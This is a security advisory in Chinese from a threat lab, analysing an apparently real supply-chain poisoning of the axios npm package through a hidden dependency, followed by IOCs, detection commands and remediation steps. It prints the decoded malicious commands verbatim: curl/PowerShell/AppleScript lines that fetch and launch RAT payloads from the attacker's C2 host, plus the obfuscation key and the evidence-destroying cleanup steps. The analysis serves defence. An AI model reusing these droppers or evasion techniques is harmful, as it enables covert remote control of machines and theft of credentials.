Axios 供应链投毒安全事件预警与排查报告

· 2026-03-31 14:26 · 3 阅读

猎户攻防实验室 2026-03-31 14:26 北京

字数 3099,阅读大约需 16 分钟

Axios 供应链投毒安全事件预警与排查报告

一、事件概述

2026 年 3 月 31 日,安全研究机构 StepSecurity 发现 JavaScript 生态中最广泛使用的 HTTP 客户端库 axios 遭遇供应链攻击。攻击者劫持了 axios 首席维护者 jasonsaayman 的 npm 账号,成功向 npm 注册表发布了两个恶意版本。攻击者在 axios 源码中未注入任何恶意代码,而是通过注入一个幽灵依赖 plain-crypto-js@4.2.1,利用其 postinstall 脚本在安装时静默投放跨平台 RAT(远程访问木马)。

如果已安装 axios@1.14.1 或 axios@0.30.4,请假设系统已被控制。


二、攻击时间线

整个攻击预置时间跨度约 18 小时,展现了高度成熟的运营能力:

时间(北京时间)

事件

详情

2026-03-30 13:57plain-crypto-js@4.2.0

 发布

由攻击者账号 nrwise@proton.me 发布。这是一个干净的伪装包,包含合法 crypto-js 源码的完整副本,无 postinstall 钩子。唯一目的是建立 npm 发布历史,使后续恶意版本在审查时不至于被标记为"零历史新包"。

2026-03-31 07:59plain-crypto-js@4.2.1

 发布

同一攻击者账号发布恶意载荷版本postinstall: "node setup.js" 钩子和混淆投放器被引入。同时预置了 package.md(干净伪装的 package.json 存根),为后续自清理做准备。

2026-03-31 08:21axios@1.14.1

 发布

被劫持的 jasonsaayman 账号(邮箱已被改为 ifstap@proton.me)手动通过 npm CLI 发布。注入 plain-crypto-js@^4.2.1 为运行时依赖,目标为 1.x 现代用户群。

2026-03-31 09:00axios@0.30.4

 发布

同一被劫持账号发布。两个版本分支在 39 分钟内被同时投毒,最大化覆盖面。

2026-03-31 ~09:30

StepSecurity 检测到异常

StepSecurity AI Package Analyst 和 Harden-Runner 在运行时验证中捕获到 C2 通信,确认为恶意包。

2026-03-31 ~10:00+

社区响应

安全研究员 @feross 等人在社交媒体发出公开预警。npm 官方开始处理。

所有合法的 axios 1.x 版本均通过 GitHub Actions + npm OIDC Trusted Publisher 机制发布,发布行为与特定 GitHub Actions 工作流密码学绑定。axios@1.14.1 完全打破了这一模式——通过窃取的长期经典 npm Access Token 手动发布,没有 OIDC 绑定,GitHub 仓库中也不存在对应的 commit 或 tag。该版本仅存在于 npm 注册表中


三、攻击链路详细技术分析

3.1 整体攻击链

3.2 幽灵依赖注入

axios 源码中 plain-crypto-js从未被 import 或 require()。对比依赖差异:

版本

依赖列表

状态

axios@1.14.0

follow-redirects, form-data, proxy-from-env

安全
axios@1.14.1

follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1

恶意
axios@0.30.3

follow-redirects, form-data, proxy-from-env

安全
axios@0.30.4

follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1

恶意

仅新增了一个从未被使用的依赖

3.3 投放器 setup.js 混淆技术

setup.js 是一个单文件混淆投放器,采用 双层混淆方案

字符串编码数组 stq[] — 所有敏感字符串(模块名、OS 标识符、Shell 命令、C2 URL、文件路径)均以编码值存储。

解密函数:

  • • _trans_1(x, r) — XOR 密码。密钥 "OrDeR_7077" 通过 JavaScript Number() 解析:字母产生 NaN(位运算中变为 0),仅第 6-9 位的数字 7,0,7,7 保留,有效密钥为 [0,0,0,0,0,0,7,0,7,7]。每个字符按位置 r 解码为:

    charCode XOR key[(7 × r × r) % 10] XOR 333

  • • _trans_2(x, r) — 外层:反转编码字符串 → 将 _ 替换为 = → Base64 解码(以 UTF-8 恢复 Unicode 码点)→ 传入 _trans_1 二次解密。

入口点:_entry("6202033"),其中 6202033 是 C2 URL 路径段。

完全解码后的关键字符串:

stq[0]  → "child_process"// Shell 执行
stq[1]  → "os"// 平台检测
stq[2]  → "fs"// 文件系统操作
stq[3]  → "http://sfrclak.com:8000/"// C2 基础 URL
stq[5]  → "win32"// Windows 平台标识
stq[6]  → "darwin"// macOS 平台标识
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json"// 执行后删除
stq[14] → "package.md"// 干净存根重命名为 package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"

四、平台特定载荷详细分析

4.1 macOS — AppleScript 投放器

触发条件:os.platform() === "darwin"

执行链:

do shell script"curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s http://sfrclak.com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
  &> /dev/null"

执行方式:nohup osascript "<temp_file>" > /dev/null 2>&1 &

C2 POST Body:packages.npm.org/product0

持久化文件:/Library/Caches/com.apple.act.mond

伪装策略:

  • • /Library/Caches/ 是系统级缓存目录,在事件响应中极少被检查

  • • com.apple.act.mond 模仿 Apple 反向 DNS 守护进程命名惯例

  • • 后缀 mond 可能是 "Activity Monitor Daemon" 的缩写,与该目录下的合法 Apple 后台进程混在一起

临时文件: AppleScript 临时文件执行后自动删除

4.2 Windows — VBScript + PowerShell 三阶段投放器

触发条件:os.platform() === "win32"

三阶段执行链:

阶段 1 — 定位并复制 PowerShell:

where powershell → 复制到 %PROGRAMDATA%\wt.exe

将 PowerShell 二进制伪装为 Windows Terminal 可执行文件,提供持久化的解释器副本。

阶段 2 — 生成并执行 VBScript:

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
"-d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" " & _
"& powershell -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" " & _
"""http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f"0False

执行方式:cscript //nologo %TEMP%\6202033.vbs

  • • 0, False — 完全隐藏 cmd.exe 窗口,无任何 UI 输出

阶段 3 — PowerShell RAT 执行:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -file %TEMP%\6202033.ps1 http://sfrclak.com:8000/6202033

C2 POST Body:packages.npm.org/product1

文件系统产物:

文件

用途

生命周期

%PROGRAMDATA%\wt.exe

持久化的 PowerShell 解释器副本

持久

 — 唯一残留

%TEMP%\6202033.vbs

VBScript 启动器

自删除

 — 执行后自动删除

%TEMP%\6202033.ps1

PowerShell RAT 脚本

自删除

 — 执行后自动删除

文件名 6202033 直接使用 C2 路径段(Campaign ID),是攻击者行动标识。

4.3 Linux — Python 直接投放器

触发条件: 所有其他平台(Linux 等)

执行链:

curl -o /tmp/ld.py \
  -d packages.npm.org/product2 \
  -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

执行方式: Node.js execSync() 直接执行 Shell 命令

C2 POST Body:packages.npm.org/product2

持久化文件:/tmp/ld.py — 保留在磁盘上(使用 nohup 后台运行)

4.4 C2 通信设计

三个平台发送不同的 POST Body 到同一 C2 端点:

平台

POST Body

返回载荷

macOS

packages.npm.org/product0

macOS RAT 二进制

Windows

packages.npm.org/product1

PowerShell RAT 脚本

Linux

packages.npm.org/product2

Python RAT 脚本

packages.npm.org/ 前缀是刻意伪装——使出站流量在网络日志和 SIEM 规则中一眼看去像正常的 npm 注册表通信


五、自清理机制 — 证据销毁

载荷投放完成后,setup.js 执行三步法医清理:

步骤 1: fs.unlink(__filename)           → 删除 setup.js 自身
步骤 2: fs.unlink("package.json")        → 删除含 postinstall 钩子的清单
步骤 3: fs.rename("package.md", "package.json") → 干净存根替换

效果: 事后检查 node_modules/plain-crypto-js/package.json 将显示完全干净的清单(版本 4.2.0,无 postinstall,无 setup.js 引用)。运行 npm audit 或手动审查已安装包目录不会发现任何异常

关键排查线索: 即使清理完成后,node_modules/plain-crypto-js/ 目录的存在本身就是被入侵的证据——该包不是任何合法 axios 版本的依赖。如果发现此目录,说明投放器已经执行。


六、IOC — 完整威胁指标清单

7.1 恶意 npm 包

包名

版本

SHA1

axios1.14.12553649f2322049666871cea80a5d0d6adc700ca
axios0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js4.2.107d889e2dadce6f3910dcbc253317d28ca61c766
plain-crypto-js4.2.0

(干净伪装包,用于建立发布历史)

7.2 安全版本参考

包名

安全版本

SHA1

axios1.14.07c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
axios0.30.3ab1be887a2d37dd9ebc219657704180faf2c4920

7.3 网络指标

类型

C2 域名sfrclak.com
C2 IP142.11.206.73
C2 URLhttp://sfrclak.com:8000/6202033

7.4 文件系统指标

平台

路径

类型

说明

macOS/Library/Caches/com.apple.act.mond持久

macOS RAT 二进制,伪装为 Apple 系统缓存守护进程

Windows%PROGRAMDATA%\wt.exe持久

PowerShell 解释器副本,伪装为 Windows Terminal

Windows%TEMP%\6202033.vbs临时(自删除)

VBScript 启动器,执行后自动删除

Windows%TEMP%\6202033.ps1临时(自删除)

PowerShell RAT 脚本,执行后自动删除

Linux/tmp/ld.py持久

Python RAT 脚本,nohup 后台运行后保留在磁盘

全平台node_modules/plain-crypto-js/setup.js已删除

投放器主体,自清理删除

全平台node_modules/plain-crypto-js/package.md残留

原为干净存根,已被重命名为 package.json

7.5 攻击者控制账号

账号

类型

邮箱

jasonsaayman

被劫持的合法 axios 维护者账号

邮箱被改为 ifstap@proton.me

nrwise

攻击者创建的一次性账号

nrwise@proton.me


八、排查指南

8.1 依赖检查

# 检查 axios 版本
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
# 检查 yarn.lock
grep 'axios@1.14.1\|axios@0.30.4' yarn.lock
# 检查 pnpm-lock.yaml
grep 'axios@1.14.1\|axios@0.30.4' pnpm-lock.yaml
# 关键检查:plain-crypto-js 目录是否存在(即使 package.json 已被替换)
ls node_modules/plain-crypto-js 2>/dev/null && echo"POTENTIALLY AFFECTED"

8.2 系统层面排查

macOS

# 检查 RAT 二进制
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo"COMPROMISED"
# 检查异常进程
ps aux | grep -i "com.apple.act.mond"
# 检查文件哈希
shasum /Library/Caches/com.apple.act.mond 2>/dev/null

Linux

# 检查 RAT 脚本
ls -la /tmp/ld.py 2>/dev/null && echo"COMPROMISED"
# 检查异常进程
ps aux | grep -i "ld.py"
# 检查文件内容
head -20 /tmp/ld.py 2>/dev/null

Windows

# 检查持久化文件
Test-Path"$env:PROGRAMDATA\wt.exe"
Get-Item"$env:PROGRAMDATA\wt.exe"-ErrorAction SilentlyContinue
# 检查文件哈希
Get-FileHash"$env:PROGRAMDATA\wt.exe"-Algorithm SHA256
# 检查异常进程
Get-Process | Where-Object { $_.Path -eq"$env:PROGRAMDATA\wt.exe" }
# 注意:临时文件 6202033.vbs 和 6202033.ps1 已自删除
# 但可通过事件日志和 Prefetch 追溯
Get-WinEvent-FilterHashtable@{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Message -match'6202033' }
# 检查 PowerShell Script Block 日志
Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents1000 |
Where-Object { $_.Message -like"*sfrclak*"-or$_.Message -like"*6202033*" }

8.3 网络层排查

# DNS 查询历史
grep "sfrclak" /var/log/dns.log 2>/dev/null
grep "sfrclak" /var/log/syslog 2>/dev/null
# 出站连接
netstat -antp | grep "142.11.206.73"
netstat -antp | grep "8000"
ss -antp | grep "sfrclak"
# 防火墙日志
grep "sfrclak\|142.11.206.73" /var/log/firewall.log 2>/dev/null
# HTTP 代理日志
grep "packages.npm.org/product" /var/log/squid/access.log 2>/dev/null

8.4 CI/CD 管道排查

# GitHub Actions 日志
grep -r "axios.*1.14.1\|axios.*0.30.4" .github/
grep -r "sfrclak\|142.11.206.73" .github/
# 检查 Docker 镜像
docker history <image> | grep axios
docker run --rm <image> sh -c "npm ls axios 2>/dev/null; ls node_modules/plain-crypto-js 2>/dev/null"
# 检查制品仓库缓存(Artifactory/Nexus)
# 需通过各平台 API 查询是否存在 axios@1.14.1 或 axios@0.30.4 的缓存
# 检查 CI/CD 中是否有 npm install 执行记录拉取了受影响版本
# 任何安装了受影响版本的 Pipeline 均应视为已被入侵

九、应急处置措施

9.1 立即行动

# 1. 回退 axios 并锁定版本
npm install axios@1.14.0   # 1.x 用户
npm install axios@0.30.3   # 0.x 用户
# 2. 添加 overrides 防止传递依赖解析回恶意版本
# package.json:
{
"dependencies": { "axios""1.14.0" },
"overrides":    { "axios""1.14.0" },
"resolutions":  { "axios""1.14.0" }
}
# 3. 移除恶意依赖并重新安装
rm -rf node_modules/plain-crypto-js
npm cache clean --force
rm -rf node_modules package-lock.json
npm install --ignore-scripts
# 4. 阻断 C2 通信
iptables -A OUTPUT -d 142.11.206.73 -j DROP
echo"0.0.0.0 sfrclak.com" >> /etc/hosts

9.2 凭据轮换

如果确认安装了恶意版本,必须假设系统已被完全控制

  • • 轮换所有 npm Access Token

  • • 轮换 GitHub Personal Access Token (PAT)

  • • 轮换 AWS Access Key / Secret Key

  • • 轮换 GCP Service Account Key

  • • 轮换 Azure 凭据

  • • 轮换所有数据库连接字符串

  • • 轮换 SSH 私钥

  • • 轮换 CI/CD Secrets(GitHub Actions Secrets、GitLab CI Variables 等)

  • • 审计 .env 文件中所有可能被读取的密钥

  • • 重置 npm 账号密码,启用硬件 2FA

  • • 审计 GitHub 仓库 Webhook、Apps 和 OAuth 授权

9.3 系统重置(如已确认感染)

  • • 隔离受感染主机 — 立即断网

  • • 全盘取证 — 断网状态下导出内存镜像和磁盘镜像

  • • 不要尝试原地清理 — 重建已知安全状态

  • • 重新部署 — 使用已验证安全的制品重新部署


九、攻击特征总结

此次攻击是有记录以来对 Top-10 npm 包最成熟的供应链攻击之一

  1. 1. 预置 18 小时 — 恶意依赖提前发布以避免"新包"告警

  2. 2. 三平台预构建载荷 — macOS/Windows/Linux 各自独立的第二阶段载荷

  3. 3. 39 分钟双分支投毒 — 1.x 和 0.x 同时命中

  4. 4. 每条痕迹均设计为自毁 — setup.js 删除自身、替换 package.json

  5. 5. 进程树逃逸 — 使用 nohup 脱离父进程,规避进程归因

  6. 6. C2 伪装为 npm 流量 — POST Body 使用 packages.npm.org/ 前缀

  7. 7. 零源码修改 — axios 源码中无一行恶意代码,仅通过幽灵依赖触发


十、参考来源

跳转微信打开